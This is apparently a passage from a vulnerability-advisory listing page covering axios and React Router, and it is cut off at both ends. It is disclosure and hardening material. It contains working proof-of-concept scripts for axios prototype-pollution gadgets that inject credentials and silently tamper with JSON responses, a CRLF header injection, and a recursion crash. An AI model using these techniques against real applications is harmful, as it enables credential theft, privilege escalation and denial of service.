makeRequest(http://127.0.0.1:${port}/api/widget).catch((e) => { console.error('axios error:', e.message); scrub(); process.exit(1); }); }); ` Reproduction: `bash mkdir /tmp/axios-poc && cd /tmp/axios-poc npm init -y npm install axios@1.16.1 defaults-deep@0.2.4 node /path/to/poc.cjs ` Captured output (verified against released 1.16.1 AND against main at 34723be, 2026-05-24): `json { "method": "GET", "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN", "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==" } ` dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA== base64-decodes to victim-user:victim-password-leaked. The querystring carries ?leak=ATTACKER_QUERY_TOKEN, which can be a full data-exfil channel in real chains (CSRF token, session cookie via req.headers, etc.). Impact Credential exfiltration via Basic auth header on the outbound request. If the request URL is attacker-influenced too (common in webhook/oauth-callback patterns), the credentials flow directly to the attacker. If not, they flow to the legitimate destination but expose victim credentials in any logs / proxies along the path. Outbound request-shape control via inherited params / paramsSerializer. With paramsSerializer polluted to an attacker function, axios will execute that function with each params invocation — same-process code execution from a pollution primitive. Amplifier framing is still correct. The application-side precondition is "deep-merges attacker JSON into a config object without __proto__/constructor filtering, then uses the empty- fallback wrapper auth: opts.auth || {} / params: opts.params || {}." Both halves are very common in real codebases (we tested defaults-deep, hand-rolled merges, and several lodash-family utilities; many still pollute). CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes — amplifier sink). Proposed fix Two-line change in http.js, matching the proxy-auth pattern PR #10833 already established: `diff --- a/lib/adapters/http.js +++ b/lib/adapters/http.js @@ -737,8 +737,10 @@ const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : ''; const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : ''; auth = username + ':' + password; } ` Same pattern in resolveConfig.js: `diff --- a/lib/helpers/resolveConfig.js +++ b/lib/helpers/resolveConfig.js @@ -64,7 +64,11 @@ // HTTP basic authentication if (auth) { const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : ''; const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : ''; headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : '')) ); } ` The params / paramsSerializer half is already handled by open PR #10922's own('params') / own('paramsSerializer') change — that PR should be rebased / merged. Relationship to recent prototype-pollution work Same vulnerability class as the existing public hardening, just at sub-field granularity: GHSA-q8qp-cvcw-x6jj / PR #10779 — mergeConfig direct-key reads. Fixed in v1.15.2. PR #10761 — mergeDirectKeys in → hasOwnProp. Fixed in v1.15.x. PR #10833 — proxy auth.username/password sub-fields. Fixed post-1.16.1. PR #7413 — formDataToJSON defense-in-depth. Fixed post-1.16.1. PR #10901 — socketPath guard. Merged 2026-05-24. PR #10922 (OPEN) — params / paramsSerializer own() guard. Proposed; not merged. This report adds: regular-request auth.username / auth.password sub-field reads in both the http adapter (lines 737–740) and resolveConfig.js (line 68). Reporter notes Reported as part of a small peer-review bundle of runtime security findings. The bundle's public tracking entry (without the working exploit chain) is at georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`. I'm happy to submit the patch as a PR if that helps. Or, if you'd prefer to fold this into open PR #10922 (whose author is actively responding to comments), please let me know and I'll coordinate. Threat model honesty: this is amplifier framing — exploitation requires a separate prototype-pollution primitive elsewhere in the host process. That's how the existing GHSA-q8qp-cvcw-x6jj and PR #10833 were framed too, so the precedent for "in-scope as a hardening fix" is established. </details>

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Axios: Deep formToJSON Key Recursion Can Cause Denial of Service

Summary Axios versions starting with 0.28.0 contain uncontrolled recursion in formDataToJSON, which is exposed as axios.formToJSON() and used internally when axios serialises FormData with Content-Type: application/json. If an application passes attacker-controlled FormData field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination. Impact Applications are affected only when untrusted users can control FormData key names that are converted through axios. Affected paths include direct use of axios.formToJSON() on untrusted FormData and axios requests in which attacker-controlled FormData is sent with Content-Type: application/json. The observed failure is RangeError: Maximum call stack size exceeded. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour. Affected Functionality Affected functionality: axios.formToJSON(formData) Named ESM export formToJSON Default transformRequest behaviour for FormData when Content-Type contains application/json Unaffected functionality: Normal multipart FormData submission without JSON serialisation toFormData, which already enforces a maxDepth guard Axios versions <=0.27.2, where formDataToJSON was not present Technical Details The vulnerable code is in lib/helpers/formDataToJSON.js. parsePropPath() splits a field name such as a[x][x][x] into path segments. buildPath() then recursively processes one segment per call without enforcing a maximum depth: ``js const result = buildPath(path, value, target[name], index); ` A key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit. Relevant source locations: lib/helpers/formDataToJSON.js contains the unbounded recursive buildPath(). lib/axios.js exposes the helper as axios.formToJSON. index.js exposes formToJSON as a named export. index.d.ts and index.d.cts declare the public API. lib/defaults/index.js calls formDataToJSON(data) when JSON-serializing FormData. The inverse helper, toFormData, already enforces maxDepth and throws AxiosError with ERR_FORM_DATA_DEPTH_EXCEEDED, but formDataToJSON does not have an equivalent guard. Proof of Concept of Attack `js import axios from 'axios'; const fd = new FormData(); fd.append('a' + '[x]'.repeat(15000), 'value'); try { axios.formToJSON(fd); console.log('not vulnerable'); } catch (e) { console.log(${e.constructor.name}: ${e.message}); } ` Expected result on affected versions: RangeError: Maximum call stack size exceeded The same condition can be reached via an axios request transformation when attacker-controlled FormData is sent with Content-Type: application/json. Workarounds Applications can reject or normalise untrusted form field names before calling axios.formToJSON(). Applications can avoid sending untrusted FormData through axios as JSON unless JSON conversion is required. Applications should catch errors around formToJSON() or axios requests that transform untrusted FormData. <details> <summary>Original Source</summary> Summary An uncontrolled recursion vulnerability in formDataToJSON allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like a[x][x][x]... with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable RangeError. The inverse function toFormData already enforces a maxDepth limit (default 100) for exactly this reason — formDataToJSON lacks the equivalent guard. Details Vulnerable function: buildPath in lib/helpers/formDataToJSON.js, lines 50–82. buildPath(path, value, target, index) is called recursively — once per segment in the parsed property path — with no depth check: `javascript // lib/helpers/formDataToJSON.js, lines 50–82 function buildPath(path, value, target, index) { let name = path[index++]; // advance one level if (name === '__proto__') return true; // ... if (!isLast) { // ... const result = buildPath(path, value, target[name], index); // recurse — NO depth guard // ... } } ` The key is first split into segments by parsePropPath (line 17), which extracts every [segment] via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames). formDataToJSON is a public API consumed two ways: 1. Directly by consumers — exported as axios.formToJSON() (lib/axios.js:80), with TypeScript declarations in both index.d.ts:699 and index.d.cts:708, and documented in the API reference in four languages (docs/pages/advanced/api-reference.md). 2. Internally by transformRequest — called at lib/defaults/index.js:56 when the request body is FormData and Content-Type contains application/json: `javascript return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data; ` Contrast with toFormData: The inverse function (lib/helpers/toFormData.js:118) enforces maxDepth (default 100) and throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED when exceeded. formDataToJSON has no equivalent protection. PoC Requires only Node.js and an unmodified axios v1.x install: `javascript import formDataToJSON from 'axios/lib/helpers/formDataToJSON.js'; // Build a FormData with a single key containing 15,000 nested bracket segments const fd = new FormData(); const key = "a" + "[x]".repeat(15000); fd.append(key, "value"); try { formDataToJSON(fd); console.log("Not vulnerable"); } catch (e) { console.log(e.constructor.name + ": " + e.message); // RangeError: Maximum call stack size exceeded } ` Verified output on Node.js 22.22.3 against axios v1.16.1 (current v1.x HEAD): ` RangeError: Maximum call stack size exceeded ` The process crashes. In a server context (e.g., Express middleware calling axios.formToJSON() on an uploaded form), a single crafted request terminates the process. Impact Denial of Service (process crash). Any unauthenticated user who can submit FormData to a Node.js application that passes it through axios.formToJSON() — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name. </details>

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

React Router's same-origin redirect with path starting // causes open redirect via protocol-relative URL reinterpretation

Certain URLs passed to the redirect function can trigger an open redirect to an external domain depending on the level of validation done by the application prior to returning the redirect. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>)

React Router has stored XSS via unescaped Location header in prerendered redirect HTML

When using React Router v7 Framework Mode with Pre-rendering enabled, an improper neutralization of the HTTP Location header value can permit Cross-Site Scripting (XSS) in statically generated HTML files if the redirect location comes from an untrusted source. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A03OWASP Web
Get guardrail →

Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

Summary The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. Details In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: `` if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF}; } ` Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type. Attack chain: 1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences 2. The proxy appends the file to a FormData and posts it via axios.post(url, formData) 3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited. PoC Prerequisites: Node.js 18+, axios (tested on 1.14.0) ` const http = require('http'); const axios = require('axios'); let receivedBody = ''; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); }); server.listen(0, '127.0.0.1', async () => { const port = server.address().port; class SpecFormData { constructor() { this._entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this._entries.push([name, value]); } [Symbol.iterator]() { return this._entries[Symbol.iterator](); } entries() { return this._entries[Symbol.iterator](); } } const fd = new SpecFormData(); fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function*() { yield Buffer.from('MALICIOUS PAYLOAD'); } }); await axios.post(http://127.0.0.1:${port}/upload, fd); if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOT_VULNERABLE]'); } server.close(); }); ` Steps to reproduce: 1. npm install axios 2. Save the above as poc_axios_crlf.js 3. Run node poc_axios_crlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts. Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue. Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. ` const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += Content-Type: ${safeType}${CRLF}; ``

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass. The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This is strictly more powerful than the transformResponse gadget because: 1. No constraints — the reviver can return any value (no "must return true" requirement) 2. Selective modification — individual JSON keys can be changed while others remain untouched 3. Invisible — the response structure and most values look completely normal 4. Simultaneous exfiltration — the reviver sees the original values before modification Severity: Critical (CVSS 9.1) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver) CWE CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes CVSS 3.1 Score: 9.1 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Within the application process | | Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured | | Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values | | Availability | None | No crash, no error — the attack is entirely silent | Comparison with All Known Axios PP Gadgets | Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) | |---|---|---|---|---| | PP target | Object.prototype['header'] | Object.prototype.transformResponse | Object.prototype.proxy | Object.prototype.parseReviver | | Fixed by 1.15.0? | Yes | No | No | No | | Constraints | N/A (fixed) | Must return true | None | None | | Data modification | Header injection only | Response replaced with true | Full MITM | Selective per-key modification | | Stealth | Request anomaly visible | Response becomes true (obvious) | Proxy visible in network | Completely invisible | | Data access | Headers only | this.auth + raw response | All traffic | Every JSON key-value pair | | Validated? | N/A | assertOptions validates | Not validated | Not validated | | In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed. Root Cause Analysis The Attack Path `` Object.prototype.parseReviver = function(key, value) { / malicious / } │ ▼ mergeConfig(defaults, userConfig) │ │ parseReviver NOT in defaults → NOT iterated by mergeConfig │ parseReviver NOT in userConfig → NOT iterated by mergeConfig │ Merged config has NO own parseReviver property │ ▼ transformData.call(config, config.transformResponse, response) │ │ Default transformResponse function runs (NOT overridden) │ ▼ defaults/index.js:124: JSON.parse(data, this.parseReviver) │ │ this = config (merged config object, plain {}) │ config.parseReviver → NOT own property → traverses prototype chain │ → finds Object.prototype.parseReviver → attacker's function! │ ▼ JSON.parse calls reviver for EVERY key-value pair │ │ Attacker can: read original value, modify it, return anything │ No validation, no constraints, no assertOptions check │ ▼ Application receives surgically modified JSON response ` Why parseReviver Bypasses ALL Existing Protections 1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property. 2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated. 3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set. 4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch. Vulnerable Code File: lib/defaults/index.js, line 124 `javascript transformResponse: [ function transformResponse(data) { // ... transitional checks ... if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) { // ... try { return JSON.parse(data, this.parseReviver); // ^^^^^^^^^^^^^^^^^ // this = config // config.parseReviver → prototype chain → attacker's function } catch (e) { // ... } } return data; }, ], ` Proof of Concept `javascript import http from 'http'; import axios from './index.js'; // Server returns a realistic authorization response const server = http.createServer((req, res) => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ user: 'john', role: 'viewer', isAdmin: false, canDelete: false, balance: 100, permissions: ['read'], apiKey: 'sk-secret-internal-key', })); }); await new Promise(r => server.listen(0, r)); const port = server.address().port; // === Before Pollution === const before = await axios.get(http://127.0.0.1:${port}/api/me); console.log('Before:', JSON.stringify(before.data)); // {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...} // === Simulate Prototype Pollution === let stolen = {}; Object.prototype.parseReviver = function(key, value) { // Silently capture all original values if (key && typeof value !== 'object') stolen[key] = value; // Surgically modify specific values if (key === 'isAdmin') return true; // false → true if (key === 'role') return 'admin'; // viewer → admin if (key === 'canDelete') return true; // false → true if (key === 'balance') return 999999; // 100 → 999999 return value; // everything else unchanged }; // === After Pollution — same code, same URL === const after = await axios.get(http://127.0.0.1:${port}/api/me); console.log('After: ', JSON.stringify(after.data)); // {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...} console.log('Stolen:', JSON.stringify(stolen)); // {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"} delete Object.prototype.parseReviver; server.close(); ` Verified PoC Output ` [1] Normal request (before pollution): response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"} isAdmin: false role: viewer [2] Prototype Pollution: Object.prototype.parseReviver Polluted with selective value modifier [3] Same request (after pollution): response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true, "balance":999999,"permissions":["read","write","delete","admin"], "apiKey":"sk-secret-internal-key"} isAdmin: true (was: false) role: admin (was: viewer) canDelete: true (was: false) balance: 999999 (was: 100) [4] Exfiltrated data (stolen silently): apiKey: sk-secret-internal-key All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false, "balance":100,"apiKey":"sk-secret-internal-key"} [5] Why this bypasses all checks: parseReviver in defaults? NO parseReviver in assertOptions schema? NO parseReviver validated anywhere? NO Must return true? NO — can return ANY value Replaces entire transform? NO — works INSIDE default JSON.parse ` Impact Analysis 1. Authorization / Privilege Escalation `javascript // Server returns: {"role":"viewer","isAdmin":false} // Application sees: {"role":"admin","isAdmin":true} // → Application grants admin access to unprivileged user ` 2. Financial Manipulation `javascript // Server returns: {"balance":100,"approved":false} // Application sees: {"balance":999999,"approved":true} // → Application approves a transaction that should be rejected ` 3. Security Control Bypass `javascript // Server returns: {"mfaRequired":true,"accountLocked":true} // Application sees: {"mfaRequired":false,"accountLocked":false} // → Application skips MFA and unlocks a locked account ` 4. Silent Data Exfiltration The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally. 5. Universal and Invisible Affects every Axios request that receives a JSON response The response structure is intact — only specific values are changed No errors, no crashes, no suspicious behavior Application logs show normal-looking API responses with tampered values Recommended Fix Fix 1: Use hasOwnProperty check before using parseReviver `javascript // FIXED: lib/defaults/index.js const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined; return JSON.parse(data, reviver); ` Fix 2: Use null-prototype config object `javascript // In lib/core/mergeConfig.js const config = Object.create(null); ` Fix 3: Validate parseReviver type and source `javascript // FIXED: lib/defaults/index.js const reviver = (typeof this.parseReviver === 'function' && Object.prototype.hasOwnProperty.call(this, 'parseReviver')) ? this.parseReviver : undefined; return JSON.parse(data, reviver); ` Relationship to Other Reported Gadgets This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets: | Report | PP Target | Code Location | Fix Location | Impact | |---|---|---|---|---| | axios_26 | transformResponse | mergeConfig.js:49 (defaultToConfig2) | mergeConfig.js | Credential theft, response replaced with true | | axios_30 | proxy | http.js:670 (direct property access) | http.js | Full MITM, traffic interception | | axios_31 (this) | parseReviver | defaults/index.js:124 (this.parseReviver) | defaults/index.js | Selective JSON value tampering + data exfiltration | Why These Are Distinct Vulnerabilities 1. Different polluted properties: Each targets a different Object.prototype key. 2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call. 3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch. 4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification. Comprehensive Fix While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this. Resources CWE-1321: Prototype Pollution CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) MDN: JSON.parse reviver Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — selective response tampering confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

OWASP A03OWASP A04LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Axios HTTP/2 Session Cleanup State Corruption Vulnerability

Summary Axios HTTP/2 session cleanup logic contains a state corruption bug that allows a malicious server to crash the client process through concurrent session closures. This denial-of-service vulnerability affects axios versions prior to 1.13.2 when HTTP/2 is enabled. Details The vulnerability exists in the Http2Sessions.getSession() method in lib/adapters/http.js. The session cleanup logic contains a control flow error when removing sessions from the sessions array. Vulnerable Code: ``javascript while (i--) { if (entries[i][0] === session) { entries.splice(i, 1); if (len === 1) { delete this.sessions[authority]; return; } } } ` Root Cause: After calling entries.splice(i, 1) to remove a session, the original code only returned early if len === 1. For arrays with multiple entries, the iteration continued after modifying the array, causing undefined behavior and potential crashes when accessing shifted array indices. Fixed Code: `javascript while (i--) { if (entries[i][0] === session) { if (len === 1) { delete this.sessions[authority]; } else { entries.splice(i, 1); } return; } } ` The fix restructures the control flow to immediately return after removing a session, regardless of whether the array is being emptied or just having one element removed. This prevents continued iteration over a modified array and eliminates the state corruption vulnerability. Affected Component: lib/adapters/http.js` - Http2Sessions class, session cleanup in connection close handler PoC 1. Set up a malicious HTTP/2 server that accepts multiple concurrent connections from an axios client 2. Establish multiple concurrent HTTP/2 sessions with the axios client 3. Close all sessions simultaneously with precise timing 4. The flawed cleanup logic attempts to iterate over and modify the sessions array concurrently 5. This causes the client to access invalid memory locations, resulting in a process crash Prerequisites: Client must use axios with HTTP/2 enabled Client must connect to attacker-controlled HTTP/2 server Multiple concurrent HTTP/2 sessions must be established Server must close all sessions simultaneously with precise timing Impact Who is impacted: Applications using axios with HTTP/2 enabled Applications connecting to untrusted or attacker-controlled HTTP/2 servers Node.js applications using axios for HTTP/2 requests Impact Details: Denial of Service: Malicious server can crash the axios client process by accepting and closing multiple concurrent HTTP/2 connections simultaneously Availability Impact: Complete loss of availability for the client process through crash (though service may auto-restart) Scope: Impact is limited to the single client process making the requests; does not escape to affect other components or systems No Confidentiality or Integrity Impact: Vulnerability only causes process crash, no information disclosure or data modification CVSS Score: 5.9 (Medium) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H CWE Classifications: CWE-400: Uncontrolled Resource Consumption CWE-662: Improper Synchronization

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

React Router has CSRF issue in Action/Server Action Request Processing

React Router (or Remix v2) is vulnerable to CSRF attacks on document POST requests to UI routes when using server-side route action handlers in Framework Mode, or when using React Server Actions in the new unstable RSC modes. > [!NOTE] > This does not impact applications that use Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A05OWASP A08OWASP Web
Get guardrail →

React Router has unexpected external redirect via untrusted paths

An attacker-supplied path can be crafted so that when a React Router application navigates to it via navigate(), <Link>, or redirect(), the app performs a navigation/redirect to an external URL. This is only an issue if developers pass untrusted content into navigation paths in their application code.

Axios: Nested axios option objects can consume polluted prototype values

Summary Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype. The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests. Impact This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object. Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued. The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode. This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget. Affected Functionality Affected runtime functionality: Node HTTP adapter Basic auth handling in lib/adapters/http.js. Browser/fetch/XHR Basic auth handling through lib/helpers/resolveConfig.js. Query serialization through lib/helpers/buildURL.js. axios.getUri() when called with an affected paramsSerializer object. Affected config shapes: auth: {} or an auth object missing own username and/or password. paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize. Unaffected by this specific issue: Requests with no auth property. Requests with no paramsSerializer property. Top-level polluted auth or paramsSerializer values in current hardened versions. Technical Details lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers: ``js } else if (utils.isPlainObject(source)) { return utils.merge({}, source); } ` Downstream code then reads nested fields without own-property checks. In lib/helpers/resolveConfig.js: `js btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) ` In lib/adapters/http.js: `js const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; ` In lib/helpers/buildURL.js: `js const _encode = (options && options.encode) || encode; const serializeFn = _options && _options.serialize; ` Proof of Concept of Attack `js import http from 'node:http'; import axios from './index.js'; const user = 'attacker'; const pass = 'exfil'; Object.defineProperty(Object.prototype, 'username', { value: user, configurable: true }); Object.defineProperty(Object.prototype, 'password', { value: pass, configurable: true }); Object.defineProperty(Object.prototype, 'serialize', { value: () => 'polluted=1', configurable: true }); const server = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ authorization: req.headers.authorization || null, url: req.url })); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); try { const port = server.address().port; const response = await axios.get(http://127.0.0.1:${port}/demo, { auth: {}, paramsSerializer: {}, params: { unused: 'ignored' } }); console.log(response.data); } finally { await new Promise((resolve) => server.close(resolve)); delete Object.prototype.username; delete Object.prototype.password; delete Object.prototype.serialize; } ` Observed result: `json { "authorization": "Basic YXR0YWNrZXI6ZXhmaWw=", "url": "/demo?polluted=1" } ` Workarounds If upgrading is not yet possible, avoid passing placeholder nested option objects. Remove auth entirely when Basic auth is not intended. For paramsSerializer objects, provide explicit own encode and serialize properties or remove paramsSerializer when custom serialization is not required. These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process. <details> <summary>Original Report</summary> Summary axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. Details mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers: mergeConfig.js Lines 36-45 ` function getMergedValue(target, source, prop, caseless) { if (utils.isPlainObject(target) && utils.isPlainObject(source)) { return utils.merge.call({ caseless }, target, source); } else if (utils.isPlainObject(source)) { return utils.merge({}, source); } else if (utils.isArray(source)) { return source.slice(); } return source; } ` The cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard: Browser / fetch Basic auth — lib/helpers/resolveConfig.js: resolveConfig.js Lines 64-70 ` if (auth) { headers.set( 'Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : '')) 